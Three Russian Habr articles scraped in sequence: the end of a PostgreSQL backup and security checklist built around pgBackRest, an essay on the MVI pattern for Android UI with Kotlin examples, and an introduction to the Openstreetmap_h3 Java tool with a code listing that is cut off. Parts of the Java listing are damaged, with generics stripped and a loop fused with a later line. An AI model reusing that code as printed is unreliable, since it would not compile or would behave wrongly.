[pgBackRest](https://access.crunchydata.com/documentation/pgbackrest/latest/) — это комплексное решение для резервного копирования и восстановления даже самых больших баз данных PostgreSQL простым и удобным в использовании способом. С помощью pgBackRest вы можете настроить процесс резервного копирования, включив в него параллелизм для ускорения резервного копирования и восстановления, контрольную верификацию для проверки целостности, а также многие другие функции. (В следующей статье мы подробнее рассмотрим параметры резервного копирования в PostgreSQL в сравнении с Oracle. Следите за выходом новых статей.)
Шаги для проверки бэкапов в Postgres:
* Шаг 1: Убедитесь, что вы делаете бэкапы. Если у вас вообще нет бэкапов, [эта статья](https://blog.crunchydata.com/blog/how-to-get-started-with-pgbackrest-and-postgresql-12) — станет хорошей отправной точкой в работе с pgBackRest.
* Шаг 2: Задокументируйте весь процесс выполнения восстановления. Если отказ произошел посреди ночи, и вы не доверяете своей интуиции, лучше всего, чтобы у вас был очень четкий пошаговый план действий. Еще лучше, если вы заранее автоматизируете процесс восстановления.
* И последний шаг: Регулярно тестируйте весь процесс. Если вы будете выполнять тесты, используя документацию из предыдущего шага (а вы должны это делать), вы сможете продолжать улучшать задокументированный процесс, когда будете сталкиваться с неожиданными препятствиями на вашем пути (и будьте уверены, без них не обойдется). Хлопоты с налаживанием тестов конечно доставляют некоторое неудобство, но если вы проводите тестирование, то это куда лучше, чем обнаружить серьезные проблемы, когда вы пытаетесь решить проблему потери данных, что потенциально может очень серьезно отразиться на бизнесе (и вашей карьере). Crunchy Data рекомендует выполнять тесты на восстановление не реже одного раза в квартал. Для сайтов с высокими требованиями к доступности лучше выполнять их еще чаще.
Теперь пришло время убедиться, что стратегия резервного копирования соответствует ожиданиям бизнеса. Создание бэкапа раз в неделю вполне может удовлетворить потребность в резервным копированием базы данных, но необходимо учитывать множество других факторов.
### Безопасность
Безопасность должна занимать первое место в списке приоритетов у всех, кто работает в сфере IT, но особенно это касается администраторов баз данных из-за ценности содержащихся данных и негативных последствий потери контроля над этой информацией для всего бизнеса.
#### Мажорная версия Postgres
Прежде всего, проверьте, какая у вас версия. Вам не обязательно использовать последнюю мажорную версию, но стоит следить за обновлениями [последней минорной версии](https://www.postgresql.org/support/versioning/) - так вы будете защищены от большинства CVE, которые могут подвергнуть вас риску. Если ваша версия устарела или вот-вот таковой станет, то следует запланировать обновление.
Вы можете проверить версию PostgreSQL двумя способами:
* В командной строке узла базы данных, как пользователь, имеющий доступ к запуску PostgreSQL, выполните:
`postgres --version`
* Войдя в базу данных, выполните следующую команду:
`SELECT version();`
#### Доступ пользователей
Контролируйте пользователей, у которых есть доступ, и проверяйте, все ли они валидны и имеют надлежащие средства контроля доступа (например, пароли).
Начать лучше всего с простой команды postgres-# \du и проверки того, что все перечисленные пользователи актуальны. Часто когда сотрудник покидает компанию, его учетные записи не удаляются полностью из всех систем, которыми он пользовался.
Взглянув на поле “Member of”, вы увидите некоторых пользователей, которые могут быть в группах, которые больше к ним не относятся. Например, сотрудник, который был в отделе “Sales”, но перешел в “Marketing”, может находится в двух отделах “Sales” и “Marketing”, и в этом случае его следует удалить из отдела “Sales”.
#### Инструменты
Убедитесь, что вы используете безопасную версию инструментов, где это возможно, и отключили небезопасную версию (например, scp, ssh и т. д.).
Передача файлов уже давно не осуществляется с помощью протокола передачи файлов (FTP), но в некоторых случаях он все еще может быть подходящим инструментом для работы, поскольку он быстрее, чем альтернативы, такие как SFTP. Однако протоколу FTP не хватает безопасности, и, используя SFTP, вы получаете дополнительное преимущество в виде зашифрованного соединения.
Те же соображения относятся и к другим утилитам, которые используются в среде базы данных, поэтому убедитесь, что вы выполнили все требования безопасности для вашей организации. Они будут варьироваться в зависимости от потребностей бизнеса, но лучшие практики обычно включают использование зашифрованных параметров вместо незашифрованных.
#### Бенчмарки безопасности
Существует несколько подходов к этому исследованию. Один из них заключается в использовании бенчмарка, подобного тому, что разработан [Center for Internet Security](https://blog.crunchydata.com/blog/secure-postgresql-14-with-the-cis-benchmark). Если безопасность имеет первостепенное значение для вашей компании, вы можете уделить внимание дополнительной защите, доступной в секьюрной реализации PostgreSQL. Удачным решением может стать — [Crunchy Hardened](https://www.crunchydata.com/products/hardened-postgres/), который может обеспечить более высокий уровень защиты, который удовлетворит потребности большинства компаний.
### Выдыхайте
После того, как вы наладите резервное копирование и перейдете на безопасную версию Postgres, убедитесь, что остальная часть системы соответствует требованиям вашей организации. [На учебном портале Crunchy Data](https://learn.crunchydata.com/) есть несколько курсов по администрированию PostgresSQL для начинающих, где можно получить больше информации по этой теме.
*Перевод материала подготовлен для будущих студентов курса* [*«PostgreSQL для администраторов баз данных и разработчиков»*](https://otus.pw/DX7z/)*.* | https://habr.com/ru/post/650635/ | null | ru | null |
# Так для чего же нам все таки нужен MVI в мобильной разработке
Много уже сказано про MVI, о том как его правильно прожарить и настроить. Однако не так много времени уделяется тому, насколько этот метод упрощает жизнь в определенных ситуациях, в сравнении с остальными подходами.
Цель этой статьи
----------------
Я не буду углубляться в то как технически реализуется MVI (способов больше одного и у каждого есть свои плюсы и минусы). Моя главная цель в короткой статье заинтересовать тебя изучать эту тему в дальнейшем и возможно побудить внедрить данный паттерн на своих боевых проектах или хотя бы проверить на домашних заготовках.
С какой проблемой можно столкнуться
-----------------------------------
Мой дорогой друг, давай представим такую ситуацию, у нас имеется интерфейс вью, с которым
предстоит работать:
```
interface ComplexView {
fun showLoading()
fun hideLoading()
fun showBanner()
fun hideBanner()
fun dataLoaded(names: List)
fun showTakeCreditDialog()
fun hideTakeCreditDialog()
}
```
На первый взгляд кажется, что ничего сложного. Ты просто выделяешь для работы с этой вьюшкой отдельную сущность, называешь ее презентером (вуаля вот и MVP готов), а это большие проблемы небольшие сложности и сейчас я постараюсь объяснить почему.
А вот и сам презентер:
```
interface Presenter {
fun onLoadData(dataKey: String)
fun onLoadCredit()
}
```
Все просто, вьюшка дергает методы презентера, когда надо загрузить данные, презентер в свою очередь имеет право дергать вьюшку, для того, чтобы отобразить загруженную информацию, а также отобразить прогресс. Но тут и появляется проблема сложность — это абсолютное отсутствие контроля консистентности твоего UI мой товарищ.
К примеру мы хотим вывести диалог предлагающий кредит выгодное предложение пользователю и делаем этот вызов из презентера, имея на руках ссылку на интерфейс вью:
#### view.hideTakeCreditDialog()
Но при этом тебе не следует забывать, что при отображении диалога, нужно скрывать лоадинг и не показывать его пока у тебя имеется диалог на экране. Плюс к этому есть метод, показывающий баннер, который мы не должны вызывать пока у нас отображается диалог (либо закрывать диалог и уже после этого отображать баннер, все зависит от требований). Картина у тебя складывается такая.
Тебе ни в коем случае нельзя вызывать:
#### view.showBanner()
#### view.showLoading()
Пока идет показ диалога. Иначе будут плакать котики тестировщики и пользователи, от боли в глазах от одного взгляда на баннер поверх важного диалога c кредитом выгодным предложением.
А сейчас давай еще подумаем с тобой и предположим, что все таки захотелось показать баннер (такое уж требование от бизнеса). О чем же надо помнить?
Дело в том, что при вызове сего метода:
#### view.showBanner()
Обязательно надо вызывать:
#### view.hideLoading()
#### view.hideTakeCreditDialog()
Опять же для того, чтобы у нас на экране ничего не скакало поверх остальных юайных элементов, пресловутая консистентность.
Вот и всплывает вопрос, кто ударит тебя по рукам, если сделаешь что-то не так? Ответ прост — **НИКТО**. В такой реализации у тебя нет абсолютно никакого контроля.
Возможно в будущем понадобится добавить еще какую-либо функциональность во вью, которая также будет связано с тем, что уже есть. Какие минусы мы из этого получаем?
1. **Лапша из зависимостей состояний юайных элементов**
2. **Логика переходов из одного состояния отображения в другое будет размазана по
презентеру**
3. **Довольно тяжело добавлять новое состояние экрана, так как велик риск того, что
забудешь что-то скрыть перед тем как отобразить новый баннер или диалог**
И это мы с тобой разбирали кейс когда во вью всего 7 методов. И даже тут получилось встрять на проблемы.
А ведь бывают вот такие вью:
```
interface ChatView : IView {
fun setMessage(message: String)
fun showFullScreenProgressBar()
fun updateExistingMessage(model: ChatMessageModel)
fun hideFullScreenProgressBar()
fun addNewMessage(localMessage: ChatMessageModel)
fun showErrorFromLoading(message: String)
fun moveChatToStart()
fun containsMessage(message: ChatMessageModel): Boolean
fun getChatMessagesSize(): Int fun getLastMessage(): ChatMessageModel?
fun updateMessageStatus(messageId: String, status: ChatMessageStatus)
fun setAutoLoading(autoLoadingEnabled: Boolean)
fun initImageInChat(needImageInChat: Boolean)
fun enableNavigationButton()
fun hideKeyboard()
fun scrollToFirstMessage()
fun setTitle(@StringRes titleRes: Int)
fun setVisibleSendingError(isVisible: Boolean)
fun removeMessage(localId: String)
fun setBottomPadding(hasPadding: Boolean)
fun initMessagesList(pageSize: Int)
fun showToast(@StringRes textRes: Int)
fun openMessageDialog(message: String)
fun showSuccessRating()
fun setRatingAvailability(isEnabled: Boolean)
fun showSuccessRatingWithResult(ratingValue: String)
}
```
Добавлять сюда что-либо новое или править старое будет довольно тяжело, придется посмотреть, что и как связано между собой, а потом начать плакать работать и молиться, чтобы тестировщик ничего не пропустил. И в момент твоего отчаяния появляется он.
MVI
---
### Вся суть
Суть в том, что мы имеем сущность, которая называется стейт. На основе этого стейта вьюшка будет рендерить свое отображение. Не буду углубляться, так моя задача пробудить в тебе интерес, так что сразу перейду к примерам. А в конце статьи будет список очень полезных источников, если тебя все же появится интерес.
Давай вспомним наше положение в начале статьи, у нас есть вью, на которой мы показываем диалоги, баннеры и волшебство. Опишем ка мы с тобой стейт вьюшки
```
data class UIState(
val loading: Boolean = false,
val names: List? = null,
val isBannerShowing: Boolean = false,
val isCreditDialogShowing: Boolean = false
)
```
Установим правило, мы с тобой можем менять вью только с помощью этого стейта, будет такой интерфейс:
```
interface ComplexView {
fun renderState(state: UIState)
}
```
А сейчас установим еще одно правило. Мы можем обращаться к владельцу стейта (в нашем случае это будет презентер) только через одну точку входа. Путем отправления ему событий. Хорошая идея назавать эти события экшенами.
```
sealed class UIAction {
class LoadNamesAction(dataKey: String) : UIAction()
object LoadBannerAction : UIAction()
object LoadCreditDialogInfo : UIAction()
}
```
Только не кидай в меня помидоры за силд классы, они упрощают жизнь в текущей ситуации, избавляя от дополнительных кастов при обрабокте экшенов в презентере, пример будет ниже. Интерфейс презентера будет выглядеть так:
```
interface Presenter {
fun processAction(action: UIAction)
}
```
А теперь давай подумаем как связать все это дело:
```
fun processAction(action: UiAction): UIState {
return when (action) {
is UiAction.LoadNamesAction -> state.copy(
loading = true,
isBannerShowing = false,
isCreditDialogShowing = false
)
is UiAction.LoadBannerAction -> state.copy(
loading = false,
isBannerShowing = true,
isCreditDialogShowing = false
)
is UiAction.LoadCreditDialogInfo -> state.copy(
loading = false,
isBannerShowing = false,
isCreditDialogShowing = true
)
}
}
```
Если ты обратил внимание, то перетекание из одного состояния отображения в другое сейчас происходит в одном месте и уже проще сложить в голове картину как все работает.
**Это не стало супер просто, однако твоя жизнь должна стать легче.** Плюс в моем примере этого не видно, но мы можем решать как запроцесить наш новый стейт на основе предыдущего стейта (для реализации такого также есть несколько придумок). Я уж не говорю о безумной возможности пере использования, которой добились ребята из badoo, одним из их помощников в достижении этой цели был MVI.
### Однако не стоит рано радоваться, у всего в этом мире есть как плюсы так и минусы, а вот и они
1. **Нас ломает об ногу обычный показ toast**
2. **При обновлении одного флажка весь стейт будет скопирован заново и отправлен во
вью, то есть произойдет ненужная перерисовка, если ничего с этим не сделать**
Предположим, что мы хотим вывести обычный андроидный toast, по текущей логике мы заведем в нашем стейте флаг для вывода нашего тостика.
```
data class UIState(
val showToast: Boolean = false,
)
```
### Первое
Берем и меняем стейт в презентере, ставим showToast = true и самое простое, что может произойти это поворот экрана. Все уничтожается взрывы и разрушения активити пересоздается, но так как ты крутой разработчик твой стейт все это дело переживает. А в стейте у нас волшебство флаг, который говорит отобразить toast. Результат — toast показывается дважды. Для решения данной проблемы есть несколько способов и все выглядят как костыли. Опять же об этом будет написано в источниках, приложенных к этой статье.
### Ну, а второе
Это уже проблема ненужных отрисовок во вью, которые будут происходить каждый раз даже когда в стейте меняется всего одно из полей. И эта проблема решается несколькими иногда не самыми красивыми способами (порой тупой проверкой перед тем как сетать во вью новое значение, на то, что оно отличается от предыдущего). Но с выходом compose в stable версию эта проблема будет решена, вот тогда мой друг заживем с тобой в преображенном и счастливом мире!
### Время для плюсов:
1. **Одна точка входа во вью**
2. **Мы всегда под рукой имеем текущее состояние экрана**
3. **Еще на стадии реализации приходится продумывать как один стейт будет перетекать
в другой и какая между ними связь**
4. **Unidirectional Data Flow**
*Любите андроид и никогда не теряйте свою мотивацию!*
Список моих вдохновителей
-------------------------
* [www.youtube.com/watch?v=VsStyq4Lzxo&t=592s](https://www.youtube.com/watch?v=VsStyq4Lzxo&t=592s) — Declarative UI Patterns (Google
I/O'19)
* [www.youtube.com/watch?v=pXw6r2kAvq8&t=2s](https://www.youtube.com/watch?v=pXw6r2kAvq8&t=2s) — Architectural journey by Zsolt
Kocsi, Badoo EN
* [www.youtube.com/watch?v=hBkQkjWnAjg&t=318s](https://www.youtube.com/watch?v=hBkQkjWnAjg&t=318s) — Как приготовить хорошо
прожаренный MVI под Android
* [www.youtube.com/watch?v=0IKHxjkgop4](https://www.youtube.com/watch?v=0IKHxjkgop4) — Managing State with RxJava by Jake
Wharton
* [hannesdorfmann.com/android/model-view-intent](http://hannesdorfmann.com/android/model-view-intent) — статья Ханнеса Доорфмана | https://habr.com/ru/post/517962/ | null | ru | null |
# Как поместить весь мир в обычный ноутбук: PostgreSQL и OpenStreetMap
Когда человек раньше говорил что он контролирует весь мир, то его обычно помещали в соседнюю палату с Бонапартом Наполеоном. Надеюсь, что эти времена остались в прошлом и каждый желающий может анализировать геоданные всей Земли и получать ответы на свои глобальные вопросы за минуты и секунды. Я опубликовал [Openstreetmap\_h3](https://github.com/igor-suhorukov/openstreetmap_h3) — свой проект, который позволяет производить геоаналитику над данными из OpenStreetMap в PostGIS или в движке запросов, способном работать с Apache Arrow/Parquet.
Первым делом передаю привет хейтерам и скептикам. То что я разработал — действительно уникально и решает проблему преобразования и анализа геоданных используя обычные и привычные инструменты доступные каждому аналитику и датасаенс специалисту без бигдат, GPGPU, FPGA. То что выглядит сейчас простым в использовании и в коде — это мой личный проект в который я инвестировал свои отпуска, выходные, бессонные ночи и уйму личного времени за последние 3 года. Может быть я поделюсь и предысторией проекта и граблями по которым ходил, но сначала я все же опишу конечный результат.
Первый пост не претендует на монографию, начну с краткого обзора. Планирую поделиться своим опытом на конференциях и в публикациях, а тема хоть и нишевая, но будет полезна многим проектам, работающих с геоданными из OSM. Для программистов и пользователей, не сталкивавшихся с OSM инструментарием и моделью данных многие вещи могут показаться немного странными. Пока я не буду углубляться в эти основы. Отмечу лишь, что несмотря на его критику сам OpenStreetMap и сервисы развиваются и объем данных увеличивается год от года. В некоторых регионах планеты полнота и качество данных OSM лучше чем у других проектов. Поэтому просто примем модель данных такой какая она есть — гибкая и не ограничивающая пользователя в разметке, усложняющая решения для аналитики и визуализации данных за счёт особенностей дизайна структур данных.
Есть специализированные колоночные, распределенные opensource БД с которыми я также экспериментировал, но все же PostgreSQL+PostGIS на данный момент оказались самыми надёжными и протестированными доступными решениями. Ну и вишенкой на торте: эта же схема данных в Postgresql всего лишь одним параметром может загружаться в колоночное хранилище [CitusDB](https://github.com/citusdata/citus) внутри того же PostgreSQL.
Зачем этот проект и чем не устраивали существующие решения
----------------------------------------------------------
Попытки загрузить дамп планеты в PostgreSQL базу были долгие и мучительные... Утилита [Osmosis](https://wiki.openstreetmap.org/wiki/RU:Osmosis) написана на java, имеет богатый функционал по работе с данными OSM и в том числе позволяет загружать эти данные в PostgreSQL базу данных со структурой [pgSnapshot](https://github.com/openstreetmap/osmosis/tree/main/package/script) для аналитики. Этот проект больше не развивается по функционалу, только на поддержке. Позволяет преобразовывать данные из PBF в tsv файлы для копирования в базу данных и есть скрипты для создания схемы БД. Схема pgSnapshot lossless, что позволяет анализировать всю доступную информацию без потерь, строить маршруты итп. Но главный минус — огромные таблицы nodes, ways на сотни гигабайт, что не позволяет производить параллельную загрузку данных в таблицу сохраняя физический порядок записей, долгое построение гигантских по объему индексов, длительный full scan по гигантской таблице. Osm2pgsql, Imposm позволяет загружать данные в PostGIS, импорт данных происходит по мэппингу с потерей части данных, не подходит для роутинга и больше ориентирована для визуализации тайлов или работы с подмножеством трансформированных данных в таблицы определенные пользователем. Osmium export делает скрипты быстрее чем Osmosis, но функционал PostGIS экспорта ограничен и модель данных примитивнее по структуре чем в Osmosis.
Когда рабочая лошадка не утянет, пора запрягать слона (PostgreSQL+PostGIS)
--------------------------------------------------------------------------
Хотелось бы иметь данные в PostgreSQL в формате максимально близком к pgSnapshot, с быстрым механизмом загрузки данных из PBF и возможности параллельной загрузки в БД. Было бы идеально чтобы данные были секционированы так чтобы внутри одной секции были объекты расположенные близко друг к другу и сетка разбиения была приблизительно одинаковой по радиусу, как у экватора, так и у полюсов планеты. Из систем геопартиционирования рассматривал варианты — деления по административным границам/странам, разбиение прямоугольной сеткой, иерархические системы S2 и H3. И выбор был сделан в пользу последней, так как эта [иерархическая система индексирования H3](https://h3geo.org) имеет преимущества в сохранении расстояний (приблизительно одинаковый радиус сегмента в любой точке земного шара), отлично подходит для задач маршрутизации, библиотеки для работы с H3 хорошо поддерживаются и постоянно развиваются и доступны для PostgreSQL/JVM.
В итоге я разработал программу на Java и спроектировал схему БД совместимую с pgSnapshot, которая использует декларативное партиционирование данных PostgreSQL на основе диапазонов H3 индекса координат объектов. Утилиту, которая может автоматически создавать скрипты для схемы БД, подготавливать данные для загрузки из PBF в таблицы и загружать их в БД многопоточно.
Это был путь многочисленных экспериментов, начинал с модификации кода Osmosis и osm‑parquetizer. Собирал координаты точек линии используя memory mapped файл на сотню гигабайт в Java коде, чтобы затем выбросить этот свой код и переиспользовать функционал add‑locations‑to‑ways из osmium — наиболее оптимизированного доступного решения которое делает это же гораздо быстрее. К тому же osmium умеет собирать мультиполигоны, что гораздо быстрее и надежнее чем делать это на уровне БД, здесь тоже решил положиться на протестированное сообществом решение.
Если вас все ещё тянет в бигдату призываем на помощь Apache Arrow
-----------------------------------------------------------------
У нас теперь есть секционированные по H3 индексам геоданные в PostgreSQL и вся надежность и качество этой экосистемы. Но если нам нужно передать эти же секционированные данные в Apache Spark или Hadoop экосистему, то хотелось бы сразу получить данные из PBF в формате Arrow/Parquet без промежуточного PostgreSQL. Учитывая свой предыдущий опыт оптимизаций [osm‑parquetizer](https://github.com/adrianulbona/osm-parquetizer), я добавил в свою утилиту возможность экспорта геоданных через Apache Arrow формат сериализации. Для получения Parquet файлов, партиционированных по H3 индексу нужен дополнительный шаг постобработки результирующего набора файлов (пока что делаю это дополнительным python скриптом постпроцессинга). Из преимуществ моей утилиты перед osm‑parquetizer — больший параллелизм в трансформации PBF данных, сборка координат для линий и наличие геоиндекса H3 для nodes, ways. Одна проблема выбора для геоаналитики в parquet — это как сохранять линии. Некоторые из альтернативных решений сохраняют их как массив точек, я же пока решил кодировать линии в WKB формате.
### Openstreetmap\_h3 написана на Java
Как я упомянул выше, этот проект возник эволюционно из Osmosis и osm‑parquetizer и был переписан «с нуля» учитывая все грабли, которые собрал в этих Java проектах. Скрипт сборки проекта на maven, а само приложение написано как утилита командной строки:
Основная логика проекта
```
package com.github.isuhorukov.osm.pgsnapshot;
import com.beust.jcommander.JCommander;
import com.github.isuhorukov.osm.pgsnapshot.model.*;
import com.github.isuhorukov.osm.pgsnapshot.model.statistics.BlockStat;
import com.github.isuhorukov.osm.pgsnapshot.model.statistics.MultipolygonTime;
import com.github.isuhorukov.osm.pgsnapshot.model.statistics.PbfStatistics;
import com.github.isuhorukov.osm.pgsnapshot.model.statistics.Stat;
import com.github.isuhorukov.osm.pgsnapshot.model.table.StatType;
import com.github.isuhorukov.osm.pgsnapshot.model.table.TableStat;
import com.github.isuhorukov.osm.pgsnapshot.util.CompactH3;
import com.github.isuhorukov.osm.pgsnapshot.util.PartitionSplitter;
import com.google.common.util.concurrent.MoreExecutors;
import com.uber.h3core.H3Core;
import com.uber.h3core.util.LatLng;
import net.postgis.jdbc.geometry.LineString;
import net.postgis.jdbc.geometry.LinearRing;
import net.postgis.jdbc.geometry.Point;
import net.postgis.jdbc.geometry.Polygon;
import net.postgis.jdbc.geometry.binary.BinaryWriter;
import org.apache.arrow.memory.ArrowBuf;
import org.apache.arrow.memory.BufferAllocator;
import org.apache.arrow.memory.RootAllocator;
import org.apache.arrow.vector.*;
import org.apache.arrow.vector.complex.ListVector;
import org.apache.arrow.vector.complex.MapVector;
import org.apache.arrow.vector.complex.impl.UnionListWriter;
import org.apache.arrow.vector.complex.impl.UnionMapWriter;
import org.apache.arrow.vector.ipc.ArrowFileWriter;
import org.apache.arrow.vector.types.FloatingPointPrecision;
import org.apache.arrow.vector.types.pojo.ArrowType;
import org.apache.arrow.vector.types.pojo.Field;
import org.apache.arrow.vector.types.pojo.FieldType;
import org.apache.arrow.vector.types.pojo.Schema;
import org.apache.commons.io.IOUtils;
import org.geotools.geometry.jts.JTS;
import org.geotools.referencing.CRS;
import org.h2gis.functions.spatial.properties.ST_IsClosed;
import org.locationtech.jts.algorithm.MinimumBoundingCircle;
import org.locationtech.jts.geom.*;
import org.locationtech.jts.io.WKBWriter;
import org.opengis.referencing.FactoryException;
import org.opengis.referencing.crs.CoordinateReferenceSystem;
import org.opengis.referencing.operation.TransformException;
import org.openstreetmap.osmosis.core.container.v0_6.EntityContainer;
import org.openstreetmap.osmosis.core.container.v0_6.NodeContainer;
import org.openstreetmap.osmosis.core.container.v0_6.RelationContainer;
import org.openstreetmap.osmosis.core.container.v0_6.WayContainer;
import org.openstreetmap.osmosis.core.domain.v0_6.Entity;
import org.openstreetmap.osmosis.core.domain.v0_6.RelationMember;
import org.openstreetmap.osmosis.core.domain.v0_6.Tag;
import org.openstreetmap.osmosis.core.domain.v0_6.WayNode;
import org.openstreetmap.osmosis.pbf2.v0_6.impl.PbfBlobDecoder;
import org.openstreetmap.osmosis.pbf2.v0_6.impl.PbfBlobDecoderListener;
import org.openstreetmap.osmosis.pbf2.v0_6.impl.RawBlob;
import org.openstreetmap.osmosis.pgsnapshot.v0_6.impl.MemberTypeValueMapper;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.stream.Collectors;
import static java.util.stream.Collectors.toList;
public class OsmPbfTransformation {
public static final String NODES_DIR = "nodes";
public static final String RELATIONS_DIR = "relations";
public static final String WAYS_DIR = "ways";
public static final String MULTIPOLYGON_DIR = "multipolygon";
public static final String SQL_DIR = "sql";
public static final String ARROW_DIR = "arrow";
public static final String IMPORT_RELATED_METADATA_DIR = "import_related_metadata";
public static final String STATIC_DIR = "static";
public static void main(String[] args) throws Exception{
CliParameters parameters = parseCliArguments(args);
if (parameters == null){
return;
}
long commandStartTime = System.currentTimeMillis();
String sourceFilePath = parameters.sourceFilePath;
File sourcePbfFile = new File(sourceFilePath);
if(!sourcePbfFile.exists() || sourcePbfFile.length()==0){
throw new IllegalArgumentException("Input pbf should exists and should be non empty");
}
Splitter.Blocks blocks =ExternalProcessing.enrichSourcePbfAndSplitIt(sourcePbfFile);
File inputDirectory = new File(blocks.getDirectory());
File[] files = inputDirectory.listFiles();
Arrays.sort(Objects.requireNonNull(files));
File resultDirectory = prepareResultDirectories(new File(inputDirectory.getParent(),
resultDirectoryNameFromSource(inputDirectory)),
parameters.savePostgresqlTsv, parameters.saveArrow);
copyOsmiumSettings(resultDirectory);
if(parameters.savePostgresqlTsv) {
copyResources(resultDirectory, parameters.columnarStorage);
}
long processingStartTime = System.currentTimeMillis();
final H3Core h3Core = H3Core.newInstance();
ExecutorService saveExecutorService = getExecutorService(parameters.workers);
ExecutorService executorService = getExecutorService(parameters.workers);
Map blockStat= new ConcurrentHashMap<>();
AtomicInteger currentBlockToSave= new AtomicInteger(0);
for(File blockFile: files){
executorService.submit(() -> {
long threadStart = System.currentTimeMillis();
Long blockNumber = Long.parseLong(blockFile.getName());
if(blockNumber%1000==0){
System.out.println(blockNumber);
}
RawBlob rawBlob;
try {
FileInputStream blobInputStream = new FileInputStream(blockFile);
rawBlob = new RawBlob("OSMData", IOUtils.toByteArray(blobInputStream));
} catch (IOException e) {
throw new IllegalArgumentException(e);
}
PbfBlobDecoder blobDecoder = new PbfBlobDecoder(rawBlob, new PbfBlobDecoderListener() {
@Override
public void complete(List decodedEntities) {
long blockStartTime = System.currentTimeMillis();
GeometryFactory geometryFactory = new GeometryFactory();
MemberTypeValueMapper memberTypeValueMapper = new MemberTypeValueMapper();
Map csvResultPerH33 =new HashMap<>();
BinaryWriter binaryWriter = new BinaryWriter();
ArrayList arrowNodeOrWays = new ArrayList<>();
ArrayList arrowRelations = new ArrayList<>();
WKBWriter wkbWriter = new WKBWriter();
final CoordinateReferenceSystem coordinateReferenceSystem;
try {
coordinateReferenceSystem = CRS.decode("EPSG:" + Serializer.SRID);
} catch (FactoryException e) {
throw new RuntimeException(e);
}
Map nodeStat =new HashMap<>();
long nodeRecords = decodedEntities.stream().
filter(entityContainer -> entityContainer instanceof NodeContainer).
map(entityContainer -> ((NodeContainer) entityContainer).getEntity()).map(entity -> {
prepareNodeData(csvResultPerH33, binaryWriter, arrowNodeOrWays,
nodeStat, entity, h3Core, parameters.collectOnlyStat, parameters.saveArrow, parameters.savePostgresqlTsv);
return null;
}).filter(Objects::isNull).count();
Map wayStat =new HashMap<>();
long wayRecords = decodedEntities.stream().
filter(entityContainer -> entityContainer instanceof WayContainer).
map(entityContainer -> ((WayContainer) entityContainer).getEntity()).map(entity -> {
prepareWayData(geometryFactory, csvResultPerH33, binaryWriter, wkbWriter,
arrowNodeOrWays, wayStat, entity, h3Core,
parameters.scaleApproximation, parameters.collectOnlyStat, parameters.skipBuildings,
coordinateReferenceSystem, parameters.saveArrow, parameters.savePostgresqlTsv);
return null;
}).filter(Objects::isNull).count();
BlockStat blockStatistic = new BlockStat(blockNumber);
blockStatistic.setThreadStart(threadStart);
if(!nodeStat.isEmpty()) {
blockStatistic.setNodeStat(nodeStat);
}
if(!wayStat.isEmpty()) {
blockStatistic.setWayStat(wayStat);
}
long relationCount = decodedEntities.stream().
filter(entityContainer -> entityContainer instanceof RelationContainer).
map(entityContainer -> ((RelationContainer) entityContainer).getEntity()).
map(entity -> {
if(!parameters.collectOnlyStat) {
long relationId = entity.getId();
if(parameters.savePostgresqlTsv){
StringBuilder relationCsv = csvResultPerH33.computeIfAbsent((short)0, h33Key -> new StringBuilder());
Serializer.serializeRelation(relationCsv, relationId, entity.getTags());
}
ArrowRelation arrowRelation = null;
if(parameters.saveArrow){
arrowRelation = new ArrowRelation(relationId, TagsUtil.tagsToMap(entity.getTags()));
arrowRelations.add(arrowRelation);
}
List relationMembers = entity.getMembers();
for(int sequenceId=0; sequenceId new StringBuilder());
Serializer.serializeRelationMembers(relationMembersCsv, relationId,
memberId, memberType, memberRole, sequenceId);
}
}
}
return null;
}).count();
long multipolygonCount = relationCount==0 ? 0 : decodedEntities.stream().
filter(entityContainer -> entityContainer instanceof RelationContainer).
map(entity -> {
for(Tag tag: entity.getEntity().getTags()){
if("type".equals(tag.getKey()) && "multipolygon".equals(tag.getValue())){
return 1;
}
}
return 0;
}).mapToLong(Integer::longValue).sum();
long relationMemberCount = decodedEntities.stream().
filter(entityContainer -> entityContainer instanceof RelationContainer).
map(entityContainer -> ((RelationContainer) entityContainer).getEntity()).
mapToLong(value -> value.getMembers().size()).sum();
blockStatistic.setNodeCount(nodeRecords);
blockStatistic.setWayCount(wayRecords);
blockStatistic.setRelationCount(relationCount);
blockStatistic.setRelationMembersCount(relationMemberCount);
blockStatistic.setMultipolygonCount(multipolygonCount);
blockStat.put(blockNumber, blockStatistic);
blockStatistic.setProcessingTime(System.currentTimeMillis()-blockStartTime);
if(!parameters.collectOnlyStat) {
if(parameters.saveArrow){
long startSaveTime = System.currentTimeMillis();
if(!arrowNodeOrWays.isEmpty()){
saveArrowNodesOrWays(arrowNodeOrWays, blockNumber, new File(resultDirectory,ARROW\_DIR));
}
if(!arrowRelations.isEmpty()){
saveArrowRelations(arrowRelations, blockNumber, new File(resultDirectory, ARROW\_DIR));
}
blockStatistic.setSaveTime(System.currentTimeMillis()-startSaveTime);
}
if(parameters.savePostgresqlTsv){
saveDataOnlyInOneThread(csvResultPerH33, nodeRecords, wayRecords,
blockStatistic, relationCount,
currentBlockToSave, blockNumber, resultDirectory, saveExecutorService);
}
}
}
@Override
public void error() {
System.out.println("ERROR in block "+blockNumber);
}
});
blobDecoder.run();
long threadTime = System.currentTimeMillis() - threadStart;
blockStat.get(blockNumber).setThreadTime(threadTime);
});
}
executorService.shutdown();
executorService.awaitTermination(2,TimeUnit.DAYS);
saveExecutorService.shutdown();//stop executor only when all tasks in processing executor is finished
List blockStatistics = new ArrayList(blockStat.values());
long multipolygonCount = blockStatistics.stream().map(BlockStat::getMultipolygonCount).mapToLong(Long::longValue).sum();
long dataProcessingTime = System.currentTimeMillis() - processingStartTime;
System.out.println(files.length+" "+" time "+dataProcessingTime);
System.out.println("diff between total and processing " + blockStatistics.stream().map(blockStat1 -> blockStat1.getThreadTime()-blockStat1.getProcessingTime()).mapToLong(Long::longValue).sum());
System.out.println("total thread time "+ blockStatistics.stream().map(BlockStat::getThreadTime).mapToLong(Long::longValue).sum());
System.out.println("total processing time "+ blockStatistics.stream().map(BlockStat::getProcessingTime).mapToLong(Long::longValue).sum());
System.out.println("total save time "+ blockStatistics.stream().map(BlockStat::getSaveTime).mapToLong(Long::longValue).sum());
System.out.println("total waiting for save time "+ blockStatistics.stream().map(BlockStat::getWaitingForSaveTime).mapToLong(Long::longValue).sum());
System.out.println("thread max time "+ blockStatistics.stream().map(BlockStat::getThreadTime).mapToLong(Long::longValue).max().orElse(0));
